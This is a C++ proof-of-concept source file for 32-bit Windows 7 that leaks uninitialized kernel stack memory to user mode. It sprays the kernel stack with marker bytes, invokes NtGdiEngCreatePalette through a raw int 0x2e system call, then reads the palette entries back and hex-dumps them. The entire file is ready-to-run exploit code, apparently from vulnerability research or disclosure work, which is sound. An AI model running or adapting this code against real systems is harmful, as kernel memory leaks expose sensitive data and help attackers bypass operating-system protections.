#include <Windows.h>
#include <winddi.h>
#include <cstdio>

extern "C"
NTSTATUS WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) {
  PBYTE _ptr = (PBYTE)ptr;
  for (ULONG i = 0; i < size; i++) {
    _ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static SIZE_T buffer[1024];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiEngCreatePalette = 0x129c;

  // Initialize the thread as GUI.
  LoadLibrary(L"user32.dll");

  // Fill the kernel stack with some marker 'A' bytes.
  SprayKernelStack();

  // Create a Palette object with 256 4-byte uninitialized colors from the kernel stack.
  HPALETTE hpal = (HPALETTE)SystemCall32(__NR_NtGdiEngCreatePalette, PAL_INDEXED, 256, NULL, 0.0f, 0.0f, 0.0f);
  if (hpal == NULL) {
    printf("[-] NtGdiEngCreatePalette failed.\n");
    return 1;
  }

  // Retrieve the uninitialized bytes back to user-mode.
  PALETTEENTRY palentries[256] = { /* zero padding */ };
  if (GetPaletteEntries(hpal, 0, 256, palentries) != 256) {
    printf("[-] GetPaletteEntries failed.\n");
    return 1;
  }

  // Dump the data on screen.
  PrintHex((PBYTE)palentries, sizeof(palentries));

  return 0;
}